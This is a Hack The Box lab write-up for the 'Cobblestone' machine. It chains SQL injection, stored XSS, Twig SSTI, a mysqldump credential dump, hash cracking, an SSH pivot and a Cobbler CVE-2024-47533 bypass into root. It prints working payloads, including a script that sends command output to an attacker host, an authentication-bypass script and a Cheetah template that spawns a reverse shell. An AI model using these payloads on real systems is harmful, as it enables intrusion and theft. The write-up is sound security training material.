HACK THE BOX · PENETRATION TEST REPORT

COBBLESTONE

From Blind SQL Injection to Root — A Full Chain Compromise

★ ★ ★ ★ INSANE

10	2	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified

Massafra, Italy

Contents

01

Executive Summary

Cobblestone is an Insane-rated Linux machine built around a fictional Minecraft server hosting platform. A full compromise requires chaining ten distinct exploitation stages across three separate attack surfaces — a PHP web application, an SSH-confined system account, and a Cobbler bare-metal provisioning service — combining a blind SQL injection, an unsandboxed Server-Side Template Injection, an administrative session hijack, and a critical authentication bypass in Cobbler's XML-RPC API.

The application surface consists of four virtual hosts (`cobblestone.htb`, `vote.cobblestone.htb`, `mc.cobblestone.htb`, `deploy.cobblestone.htb`), a PHP voting application vulnerable to second-order SQL injection, a Twig template engine exposed without sandboxing, and a provisioning service isolated from the external network by Apache `mod_rewrite` rules and a dedicated AppArmor profile.

Attack chain overview

1. Reconnaissance: two exposed ports (22/SSH, 80/HTTP) and four application virtual hosts.
2. Identification of a second-order blind SQL injection in the voting application.
3. Full PHP source code extraction via `LOAD_FILE()`, revealing application logic and an SSTI endpoint.
4. Exploitation of a stored XSS to hijack the session of an automated administrator.
5. Arbitrary code execution through an unsandboxed Twig SSTI.
6. Credential exfiltration via `mysqldump` (explicitly permitted by the AppArmor profile) and offline SHA-256 cracking.
7. SSH access as system user `cobble` — user flag captured.
8. SSH port forwarding to the internal Cobbler XML-RPC service on `127.0.0.1:25151`.
9. Authentication bypass via CVE-2024-47533.
10. Injection of a malicious Cheetah template executed with root privileges — root flag captured.

02

Reconnaissance and Service Discovery

Before any interaction with the target, an MTU fix is applied to the VPN interface to avoid fragmentation issues during OpenVPN's post-quantum key exchange:

```
sudo ip link set dev tun0 mtu 1300
```

Full TCP port sweep:

```
sudo nmap -p- --min-rate=3000 -T4 <TARGET_IP> -oN full_ports.txt
```

```
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

Targeted scan with version detection:

```
sudo nmap -p 21,22,25,80,443,3306,3000,25565 -sC -sV <TARGET_IP>
```

```
22/tcp    open   ssh       OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp    open   http      Apache httpd 2.4.62
|_http-title: Cobblestone - Official Website
3306/tcp  closed mysql
3000/tcp  closed ppp
25565/tcp closed minecraft
Service Info: Host: 127.0.0.1; OS: Linux
```

● Key observation

Only two ports are externally reachable. Every other service referenced by the host configuration — MySQL on 3306, a Node.js service on 3000, the Minecraft server on 25565 — is bound to `localhost` only, confirming a segmented internal architecture behind a single Apache reverse proxy.

The `Host: 127.0.0.1` value returned by Nmap in the Service Info field is the first hint that the HTTP server routes requests to multiple internal applications based on the `Host` header — the typical signature of multi-virtual-host deployment.

03

Web Enumeration and Virtual Host Mapping

The homepage of `cobblestone.htb` explicitly references three additional application subdomains:

VIRTUAL HOST	FUNCTION	NOTES
`cobblestone.htb`	Main site / skin management	DocumentRoot `/var/www/html`
`vote.cobblestone.htb`	Server voting application	DocumentRoot `/var/www/vote`
`mc.cobblestone.htb`	Reverse proxy to Minecraft	Conditional redirect via `mod_rewrite`
`deploy.cobblestone.htb`	Static "under development" page	No dynamic functionality

Register the virtual hosts locally:

```
sudo bash -c 'cat >> /etc/hosts << EOF
<TARGET_IP> cobblestone.htb
<TARGET_IP> vote.cobblestone.htb
<TARGET_IP> mc.cobblestone.htb
<TARGET_IP> deploy.cobblestone.htb
EOF'
```

Apache configuration

The SQL injection covered in the next section later allowed extraction of the complete Apache configuration, which revealed a decisive architectural detail:

```
<VirtualHost *:80>
    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^cobblestone.htb$
    RewriteRule /.* http://cobblestone.htb/ [R]
    ServerName 127.0.0.1
    ProxyPass        "/cobbler_api" "http://127.0.0.1:25151/"
    ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

<VirtualHost *:80>
    ServerName cobblestone.htb
    DocumentRoot /var/www/html
    <Directory /var/www/html>
        AAHatName cobblestone
    </Directory>
</VirtualHost>
```

> ⚠ **Critical observation**
>
> The `AAHatName cobblestone` directive means PHP requests on this virtual host execute under a dedicated AppArmor profile ("hat"), separate from Apache's general profile. This profile turns out to be extremely restrictive during the RCE stage, blocking nearly every standard network-capable binary.
>
> The `ProxyPass "/cobbler_api"` block confirms a Cobbler service on internal port 25151 — but the `RewriteRule` is evaluated before the proxy for any request carrying an unrecognised `Host` header, making the service unreachable from outside through Host header manipulation alone.

04

Second-Order Blind SQL Injection

The voting application on `vote.cobblestone.htb` exposes two key endpoints: `suggest.php` (submitting a new server suggestion) and `details.php?id=X` (viewing the detail page). The `url` parameter sent to `suggest.php` is stored correctly using a prepared statement — but read back without sanitisation into a concatenated query inside `details.php`, producing a textbook second-order SQL injection.

Register an account:

```
curl -s -c cookies.txt -X POST http://vote.cobblestone.htb/register.php \
  --data-urlencode "username=testuser" \
  --data-urlencode "first=Test" \
  --data-urlencode "last=User" \
  --data-urlencode "email=testuser@cobblestone.htb" \
  --data-urlencode "password=<PASSWORD>"
```

Authenticate:

```
curl -s -b cookies.txt -c cookies.txt -i -X POST http://vote.cobblestone.htb/login_verify.php \
  --data-urlencode "username=testuser" \
  --data-urlencode "password=<PASSWORD>"
```

Confirming the injection

A value containing a single quote breaks the query and returns an empty response. A `OR '1'='1'` payload instead forces a match on the first row of the table — confirming that the stored value is interpolated directly into a `WHERE` clause.

```
curl -s -b cookies.txt -X POST http://vote.cobblestone.htb/suggest.php \
  -d "url=x' UNION SELECT 1,2,3,version(),5-- -"
```

Result rendered on `details.php?id=X`:

```
Suggestion #1 - 12.0.2-MariaDB-deb12-log
```

The column count (5) and the usable extraction position (column 4, rendered without format constraints) were determined through incremental `UNION SELECT` testing.

> ⚠ **Vulnerability confirmed**
>
> **Second-Order Blind SQL Injection — CWE-89.** The payload injected through `suggest.php` is stored without escaping and later concatenated into a dynamic query in `details.php`, allowing arbitrary data extraction from the database and arbitrary file reads through MariaDB's `FILE` privilege.

05

Source Code Extraction via LOAD_FILE

The MariaDB user backing the application (`voteuser`) holds the global `FILE` privilege, allowing arbitrary system file reads through `LOAD_FILE()` inside the injection payload.

Generic extraction pattern:

```
curl -s -b cookies.txt -X POST http://vote.cobblestone.htb/suggest.php \
  -d "url=x' UNION SELECT 1,2,3,LOAD_FILE('<PATH>'),5-- -"
```

Key files retrieved

FILE	INFORMATION OBTAINED
`/etc/passwd`	System users: `cobble` (rbash), `john` (bash)
`/var/www/html/db/connection.php`	DB credentials: `dbuser`
`/var/www/vote/db/connection.php`	DB credentials: `voteuser`
`/var/www/html/login_verify.php`	Authentication logic (prepared statements, no direct bug)
`/var/www/html/upload.php`	Skin upload endpoint, gated by `role === 'admin'`
`/var/www/html/preview_banner.php`	Critical SSTI endpoint (see section 6)
`/var/www/html/templates/suggest.html.twig`	Template with unsafe `| raw` filter (see section 7)
`/etc/apache2/sites-enabled/000-default.conf`	Full vhost map and Cobbler proxy

`connection.php` discloses the credentials of the main application database:

```
$dbserver = "localhost";
$username = "dbuser";
$password = "<REDACTED>";
$dbname   = "cobblestone";
```

06

Discovering the Server-Side Template Injection

Reviewing the source of `preview_banner.php` reveals an administrative endpoint that compiles a Twig template dynamically from unvalidated user input:

```
session_start();
if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
    http_response_code(403);
    die('Access denied.');
}

include('vendor/autoload.php');
$loader = new \Twig\Loader\FilesystemLoader('templates');
$twig   = new \Twig\Environment($loader);

$first = $_POST['first'] ?? null;

echo $twig->render('header.html.twig', [
    'first' => $twig->createTemplate($first)->render()
]);
```

⚠ **Vulnerability confirmed**

`$twig->createTemplate($first)` compiles and executes any user-supplied string as Twig code, with no sandboxing. This is a direct **Server-Side Template Injection — CWE-1336** with full Remote Code Execution potential. The only obstacle is the `role === 'admin'` check, which requires a valid administrative session.

A second endpoint, `suggest_skin.php`, allows any authenticated user — not just an administrator — to insert a row into the `suggestions` table, later rendered inside the admin panel through `suggest.html.twig` :

```
<td>{{ suggestion.username | raw }}</td>
<td>{{ suggestion.name     | raw }}</td>
<td>{{ suggestion.url      | raw }}</td>
```

The `| raw` filter explicitly disables Twig's auto-escaping on three fully attacker-controlled fields — the perfect setup for a stored XSS aimed at anyone visiting the panel with administrative privileges.

07

Stored XSS and Administrator Session Hijacking

With the injection endpoint identified, the next step is to make the administrator — an automated process that periodically visits the skin management panel — execute code on our behalf, using its authenticated session.

Register on the main site:

```
curl -s -c cookies2.txt -X POST http://cobblestone.htb/register.php \
  --data-urlencode "username=testadmin" \
  --data-urlencode "first=Test" --data-urlencode "last=User" \
  --data-urlencode "email=testadmin@cobblestone.htb" \
  --data-urlencode "password=<PASSWORD>"
```

```
curl -s -b cookies2.txt -c cookies2.txt -X POST http://cobblestone.htb/login_verify.php \
  --data-urlencode "username=testadmin" --data-urlencode "password=<PASSWORD>"
```

XSS payload with external script loading

The `username` field of `suggest_skin.php` enforces a length limit (~100 characters) that triggers a 500 error on complex payloads. The workaround is to serve the real payload from an external JavaScript file and keep the injected tag minimal:

```
<script src=http://<ATTACKER_IP>:8888/payload.js></script>
```

Submit the malicious suggestion:

```
curl -s -i -b cookies2.txt -X POST http://cobblestone.htb/suggest_skin.php \
  --data-urlencode "username@xss_payload.txt" \
  --data-urlencode "name=test" \
  --data-urlencode "url=http://test.com"
```

Serve the payload:

```
python3 -m http.server 8888
```

The administrator bot visits the panel roughly every 60 seconds. The loaded JavaScript issues an authenticated request to the SSTI endpoint, relying on the administrator's session cookies being sent automatically by the browser via `credentials: 'include'`:

```
fetch('/preview_banner.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  credentials: 'include',
  body: 'first=' + encodeURIComponent('{{["id"]|map("system")|join}}')
}).then(r => r.text())
  .then(t => fetch('http://<ATTACKER_IP>:8888/exfil?d=' + encodeURIComponent(t)));
```

Callback received on the listener:

```
<TARGET_IP> - - "GET /payload.js HTTP/1.1" 200 -
<TARGET_IP> - - "GET /exfil?d=Welcome uid=33(www-data) gid=33(www-data) groups=33(www-data) HTTP/1.1" 404 -
```

> ⚠ **Remote Code Execution confirmed**
>
> The Twig payload `{{["id"]|map("system")|join}}` abuses Twig's `map` filter by passing a PHP function name as a literal string — a pattern that bypasses Twig's registered-function resolution entirely and invokes `system()` natively. Execution occurs with the privileges of the Apache worker: `www-data`.

08

Remote Code Execution via Twig SSTI

With RCE confirmed, the next objective is obtaining credentials for the `cobble` system user. The dedicated AppArmor profile (`AAHatName cobblestone`) blocks almost every network-oriented binary:

BINARY	STATUS
`curl`	Blocked
`php` (CLI)	Blocked
`mysql`	Blocked
`python3` / `perl` / `wget` / `nc` / `socat`	Blocked
`echo` / `cat` / `base64` / `touch`	Permitted
`mysqldump`	**Permitted**

● The turning point

Of every binary tested, `mysqldump` is explicitly allowed by the AppArmor profile — most likely an exception left in place for legitimate backup purposes, but more than enough to exfiltrate the entire contents of the application database.

Dump the `users` table through the SSTI:

```
{{ ["mysqldump -u dbuser -p<REDACTED> cobblestone users 2>&1"]|map("system")|join }}
```

Extract of the resulting dump:

```
INSERT INTO `users` VALUES
(1,'admin','admin','admin','admin@cobblestone.htb','admin','<REDACTED_HASH>','*'),
(2,'cobble','cobble','stone','cobble@cobblestone.htb','admin','<REDACTED_HASH>','*');
```

The application uses unsalted SHA-256 for password hashing — a fast algorithm and therefore highly vulnerable to high-speed dictionary attacks.

Cracking the hash

```
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt cobble_hash.txt
```

```
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
<REDACTED>          (?)
1g 0:00:00:00 DONE  1.538g/s 11418Kp/s
```

Credentials obtained for the `cobble` account.

09

Escalation to System User (cobble)

```
ssh cobble@<TARGET_IP>
```

```
cat /home/cobble/user.txt
```

```
U S E R   F L A G
<REDACTED>
```

The resulting shell is a restricted bash (`rbash`) confined to a minimal chroot environment — no `/boot` , no `/var` , no `find` , no `sudo` . Basic binaries (`cat` , `ls` , `pwd`) remain available within the permitted path, which is enough to read the flag and to set up the next stage.

```
ls -la /
```

```
drwxr-xr-x 9 root root 4096 bin dev etc home lib lib64 proc
# no /boot, /var or /tftpboot: chroot jail confirmed
```

10

Pivoting to Cobbler XML-RPC

As identified in the Apache configuration, the Cobbler service listens on `127.0.0.1:25151` and is unreachable from outside. SSH access as `cobble` allows this restriction to be bypassed with local port forwarding.

```
ssh -L 25151:127.0.0.1:25151 cobble@<TARGET_IP>
```

Verify the tunnel:

```
curl -s -i -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>version</methodName><params/></methodCall>' \
  http://127.0.0.1:25151
```

```
HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.11.2

<methodResponse><params><param>
  <value><double>3.306</double></value>
</param></params></methodResponse>
```

The service confirms Cobbler 3.3.6 — a version affected by CVE-2024-47533, a critical bypass of the XML-RPC authentication mechanism.

11

CVE-2024-47533 — Authentication Bypass

⚠ CVE-2024-47533 (Critical)

Cobbler's XML-RPC `login()` method, when called with an empty username and an **integer** password of `-1` (rather than a string), bypasses authentication entirely due to a type-handling flaw in the comparison logic, returning a valid session token with full administrative privileges.

```
import xmlrpc.client

server = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/", allow_none=True)
token  = server.login("", -1)   # empty username, integer password -1
print("[+] Token:", token)

distros = server.get_distros()
print("[+] Distros:", distros)
```

```
[+] Token: <REDACTED>
[+] Distros: []
```

The token grants full access to every administrative API operation, including creating distros, profiles and systems — and, critically, writing autoinstall templates.

12

Root RCE via Cheetah Template Injection

Cobbler uses the Cheetah templating engine to generate autoinstall files (kickstart/preseed) during the provisioning of new machines. These templates are rendered with root privileges by the `cobblerd` daemon. Writing a malicious template through the authenticated API and forcing its rendering yields arbitrary code execution as root.

Getting past kernel/initrd validation

Creating a distro requires valid kernel and initrd files, validated both by filename pattern and by actual existence on disk. Because `cobblerd` runs as an isolated system process (most likely with `PrivateTmp=true`), temporary files written by `www-data` are not visible to it. The solution is to use Cobbler's own API to write the dummy files, guaranteeing their existence from the perspective of the process that will validate them.

```
import xmlrpc.client

server = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/", allow_none=True)
token  = server.login("", -1)

# Malicious Cheetah template: arbitrary Python command execution
payload = "${__import__('os').popen('<BASE64_REVSHELL> | base64 -d | bash').read()}"

# Write the template plus dummy kernel/initrd through the API (cobblerd privileges)
server.write_autoinstall_template("pwn.template", payload, token)
server.write_autoinstall_template("vmlinuz",  "fakekernel", token)
server.write_autoinstall_template("initrd.img", "fakeinitrd", token)

# Create distro and profile bound to the malicious template
distro_id = server.new_distro(token)
server.modify_distro(distro_id, "name",   "pwndistro", token)
server.modify_distro(distro_id, "kernel", "/var/lib/cobbler/templates/vmlinuz", token)
server.modify_distro(distro_id, "initrd", "/var/lib/cobbler/templates/initrd.img", token)
server.save_distro(distro_id, token)

profile_id = server.new_profile(token)
server.modify_profile(profile_id, "name",        "pwnprofile", token)
server.modify_profile(profile_id, "distro",      "pwndistro",  token)
server.modify_profile(profile_id, "autoinstall", "pwn.template", token)
server.save_profile(profile_id, token)

# Trigger rendering -> embedded Python payload executes as root
result = server.generate_profile_autoinstall("pwnprofile")
print("[+] Render:", result)
```

Listener:

```
nc -lvnp 9001
```

Shell received:

```
listening on [any] 9001 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 55634
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
root@cobblestone:/#
```

```
cat /root/root.txt
```

R O O T F L A G

<REDACTED>

13

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap full-port scan	Ports 22 and 80 exposed
2	Enumeration	Virtual host discovery	4 web applications mapped
3	Initial access	Second-order blind SQLi (CWE-89)	Arbitrary file read
4	Internal recon	`LOAD_FILE()` on source code	SSTI endpoint and DB credentials identified
5	Web escalation	Stored XSS (CWE-79) on `| raw` field	Admin session hijack
6	Application RCE	Unsandboxed Twig SSTI (CWE-1336)	RCE as `www-data`
7	Credential exfiltration	`mysqldump` (AppArmor bypass)	SHA-256 hash for `cobble`
8	Offline cracking	John the Ripper + rockyou.txt	Cleartext password
9	User access	SSH login	User flag
10	Pivoting	SSH local port forwarding	Access to Cobbler XML-RPC
11	Authentication bypass	CVE-2024-47533	Admin token without credentials
12	Final escalation	Cheetah template injection	Root shell and root flag

Closing thoughts

Cobblestone is a particularly well-built example of an Insane machine: every individual step is technically sound on its own, but combining them demands a working understanding of web application security (SQLi, XSS, SSTI), operating system sandboxing mechanisms (AppArmor), and vulnerabilities specific to bare-metal provisioning infrastructure (Cobbler XML-RPC).

The single most significant turning point in the entire chain was identifying `mysqldump` as an explicitly permitted binary inside an otherwise extremely restrictive AppArmor profile — one configuration exception, sufficient to unravel the security posture of the whole system, and a reminder that least privilege has to be applied without convenience exceptions.

Key takeaways

- Never trust data read back from the database, even when it was stored using a prepared statement. Second-order injection proves sanitisation has to happen on read as well as on write.
- Twig's `| raw` filter disables critical protections and should only ever be applied to content that has already been rigorously sanitised.
- An unsandboxed template engine is, in practice, an arbitrary code interpreter exposed to users.
- AppArmor allowlists for administrative tooling such as `mysqldump` must be evaluated from the perspective of an attacker holding partial RCE, not only from an operational one.
- Internal services "isolated" behind a reverse proxy are not safe if authentication on the service itself is broken. Defence in depth means security at every layer, not only at the network boundary.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.